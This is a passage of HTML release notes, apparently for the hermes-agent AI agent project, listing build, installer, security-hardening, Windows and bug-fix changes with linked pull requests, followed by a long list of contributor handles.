<li>Nix: cold npm build fixes + auto-fix-lockfiles workflow; hashless npm deps via <code>importNpmLock</code>; refresh npmDepsHash after Electron 40.10.2 pin (<a href="https://github.com/NousResearch/hermes-agent/pull/41867" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41867/hovercard">#41867</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48883" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48883/hovercard">#48883</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48457" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48457/hovercard">#48457</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Installer: clear unmerged git index before autostash; scope install-method stamp to the code tree (<a href="https://github.com/NousResearch/hermes-agent/pull/45515" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45515/hovercard">#45515</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48188" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48188/hovercard">#48188</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🔒 Security &amp; Reliability</h2>
<ul>
<li>Fail closed on own-policy gateway adapters; fail closed for approval-button auth on Slack/Feishu/Discord when no allowlist is set (<a href="https://github.com/NousResearch/hermes-agent/pull/45634" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45634/hovercard">#45634</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41226" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41226/hovercard">#41226</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Redact secrets in request debug dumps; withhold host metadata from public status; block exfil-shaped / suspicious MCP stdio configs before probe (<a href="https://github.com/NousResearch/hermes-agent/pull/46637" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46637/hovercard">#46637</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45642" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45642/hovercard">#45642</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46083" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46083/hovercard">#46083</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Close shell-escape denylist bypass + fail-closed on missing approval module; scrub operator environment before launching cua-driver MCP; sanitize env for cron job-script subprocesses; bound TodoStore content length/count; scan REST cron prompts for parity with the agent tool (<a href="https://github.com/NousResearch/hermes-agent/pull/40591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40591/hovercard">#40591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48423" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48423/hovercard">#48423</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/49207" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49207/hovercard">#49207</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41648" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41648/hovercard">#41648</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41335" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41335/hovercard">#41335</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Bump urllib3 and PyJWT to clear CVEs; Langfuse redacts base64 data URIs instead of truncating into invalid base64 (<a href="https://github.com/NousResearch/hermes-agent/pull/40179" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40179/hovercard">#40179</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43322" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43322/hovercard">#43322</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🪟 Windows</h2>
<ul>
<li>Dashboard <code>/chat</code> tab via ConPTY (<code>win_pty_bridge</code>) + tests; resolve PowerShell host instead of bare <code>powershell</code> for uv install; resolve <code>powershell.exe</code> by absolute path so Desktop install doesn't stall (<a href="https://github.com/NousResearch/hermes-agent/pull/42251" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42251/hovercard">#42251</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/48341" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48341/hovercard">#48341</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40927" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40927/hovercard">#40927</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Repair stale winget registration + refresh/merge PATH; kill hermes before recreating venv to release <code>_bcrypt.pyd</code> lock; read HERMES_HOME from the registry when env is stale; quarantine running <code>hermes.exe</code> during update repair (<a href="https://github.com/NousResearch/hermes-agent/pull/44084" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44084/hovercard">#44084</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45120" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45120/hovercard">#45120</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/46772" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/46772/hovercard">#46772</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40409" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40409/hovercard">#40409</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>JOB-breakaway watcher reliability + status --deep probes; handle Windows PTY stdin + detached WS frames; decode subprocess output as UTF-8; confirm-modal on native Windows (<a href="https://github.com/NousResearch/hermes-agent/pull/40909" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40909/hovercard">#40909</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41953" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41953/hovercard">#41953</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44328" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44328/hovercard">#44328</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/42419" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42419/hovercard">#42419</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h2>🐛 Notable Bug Fixes</h2>
<ul>
<li>Percent-encode non-ascii URL components; sanitize <code>:</code> in FTS5 queries so colon searches don't silently return empty (<a href="https://github.com/NousResearch/hermes-agent/pull/41430" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41430/hovercard">#41430</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40653" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40653/hovercard">#40653</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Preserve multimodal user content through crash-resilience persist; flatten multimodal content before provider sync; strip MEDIA directives from compressor input (<a href="https://github.com/NousResearch/hermes-agent/pull/47907" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/47907/hovercard">#47907</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44738" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44738/hovercard">#44738</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/44708" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/44708/hovercard">#44708</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Re-enter retry loop on genuine Nous 429 so the fallback guard runs; scope Nous tags to Nous auxiliary calls; suppress "Credit access paused" notice on free models (<a href="https://github.com/NousResearch/hermes-agent/pull/45136" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45136/hovercard">#45136</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/45801" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/45801/hovercard">#45801</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43669" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43669/hovercard">#43669</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Cron: don't strict-scan script-injected output in no-skills jobs; resolve per-job provider "custom" to <code>providers.custom</code> instead of codex; repair cron ownership on container restart (<a href="https://github.com/NousResearch/hermes-agent/pull/43223" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43223/hovercard">#43223</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/43505" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43505/hovercard">#43505</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/41976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/41976/hovercard">#41976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><em>(300+ issues closed this window; full per-area fix list is exhaustive — these are the highest-impact.)</em></li>
</ul>
<h2>↩️ Reverted in this window (not shipping)</h2>
<ul>
<li><code>html-artifact</code> skill + sketch/architecture-diagram/concept-diagrams fold (<a href="https://github.com/NousResearch/hermes-agent/pull/48899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/48899/hovercard">#48899</a>) — reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/49053" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/49053/hovercard">#49053</a>); absent on main.</li>
<li>Cron per-job profile support reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/43956" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/43956/hovercard">#43956</a>); a nix patchPhase workaround reverted (<a href="https://github.com/NousResearch/hermes-agent/pull/42151" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/42151/hovercard">#42151</a>).</li>
</ul>
<h2>👥 Contributors</h2>
<p>A huge thank-you to everyone who contributed to this release — <strong>245 contributors</strong> across commits, co-author trailers, and salvaged PRs.</p>
<h3>Core</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a></p>
<h3>Top community contributors (by merged PRs)</h3>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a> — 92 PRs (desktop app maturity (shortcuts, notifications, watch-windows, themes))</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a> — 60 PRs (onboarding, model picker, cron env sanitization)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/xxxigm/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/xxxigm">@xxxigm</a> — 27 PRs (desktop &amp; gateway fixes)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> — 23 PRs (gateway multiplex, Chronos cron, dashboard auth)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/helix4u/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/helix4u">@helix4u</a> — 21 PRs (gateway &amp; installer reliability)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a> — 19 PRs (dashboard &amp; desktop UX)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a> — 14 PRs (usage-aware credits, Supermemory)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ethernet8023/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ethernet8023">@ethernet8023</a> — 14 PRs (desktop build pipeline &amp; Linux/Windows)</li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/liuhao1024/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/liuhao1024">@liuhao1024</a> — 5 PRs (session lifecycle fixes)</li>
</ul>
<h3>All contributors (alphabetical)</h3>
<p><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0z1-ghb/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0z1-ghb">@0z1-ghb</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xdany/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xdany">@0xdany</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xneobyte/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xneobyte">@0xneobyte</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/0xyg3n/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/0xyg3n">@0xyg3n</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/1960697431/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/1960697431">@1960697431</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/895252509/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/895252509">@895252509</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/achaljhawar/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/achaljhawar">@achaljhawar</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adolanium/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adolanium">@Adolanium</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AhmetArif0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AhmetArif0">@AhmetArif0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AIalliAI/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AIalliAI">@AIalliAI</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aimable100/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aimable100">@aimable100</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AJ/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AJ">@AJ</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ak2k/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ak2k">@ak2k</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alarcritty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alarcritty">@alarcritty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlchemistChaos/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlchemistChaos">@AlchemistChaos</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aldoeliacim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aldoeliacim">@aldoeliacim</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alelpoan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alelpoan">@alelpoan</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AlexanderBFoley/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AlexanderBFoley">@AlexanderBFoley</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alfred-smith-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alfred-smith-0">@alfred-smith-0</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ali-nld/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ali-nld">@ali-nld</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/alt-glitch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/alt-glitch">@alt-glitch</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/am423/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/am423">@am423</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMEOBIUS/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMEOBIUS">@AMEOBIUS</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/AMIK-coorporations/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/AMIK-coorporations">@AMIK-coorporations</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/annguyenNous/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/annguyenNous">@annguyenNous</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ArcanePivot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ArcanePivot">@ArcanePivot</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ARegalado1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ARegalado1">@ARegalado1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/asdlem/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/asdlem">@asdlem</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ashishpatel26/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ashishpatel26">@ashishpatel26</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/austinpickett/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/austinpickett">@austinpickett</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/banditburai/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/banditburai">@banditburai</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/barronlroth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/barronlroth">@barronlroth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Bartok9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Bartok9">@Bartok9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/basilalshukaili/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/basilalshukaili">@basilalshukaili</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bbednarski9/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bbednarski9">@bbednarski9</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bcsmith528/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bcsmith528">@bcsmith528</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benegessarit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benegessarit">@benegessarit</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benfrank241/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benfrank241">@benfrank241</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bionicbutterfly13/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bionicbutterfly13">@bionicbutterfly13</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BlackishGreen33/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BlackishGreen33">@BlackishGreen33</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/blut-agent/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/blut-agent">@blut-agent</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bmoore210/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bmoore210">@bmoore210</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/bpasquini/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/bpasquini">@bpasquini</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/briandevans/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/briandevans">@briandevans</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/BROCCOLO1D/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/BROCCOLO1D">@BROCCOLO1D</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/capt-marbles/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/capt-marbles">@capt-marbles</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ccook1963/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ccook1963">@ccook1963</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Cdddo/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Cdddo">@Cdddo</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/channkim/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/channkim">@channkim</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ChasLui/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ChasLui">@ChasLui</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chimpera/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chimpera">@chimpera</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chromalinx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chromalinx">@chromalinx</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CiarasClaws/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CiarasClaws">@CiarasClaws</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/claytonchew/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/claytonchew">@claytonchew</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cnfi/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cnfi">@cnfi</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/colinwren-stripe/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/colinwren-stripe">@colinwren-stripe</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cresslank/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cresslank">@cresslank</a>,<br>
<a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cyb0rgk1tty/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cyb0rgk1tty">@cyb0rgk1tty</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dangelo352/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dangelo352">@dangelo352</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/davidgut1982/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/davidgut1982">@davidgut1982</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/deaneeth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/deaneeth">@deaneeth</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/definitelynotguru/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/definitelynotguru">@definitelynotguru</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Diyoncrz18/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Diyoncrz18">@Diyoncrz18</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/draix/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/draix">@draix</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dschnurbusch/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dschnurbusch">@dschnurbusch</a>,<br>
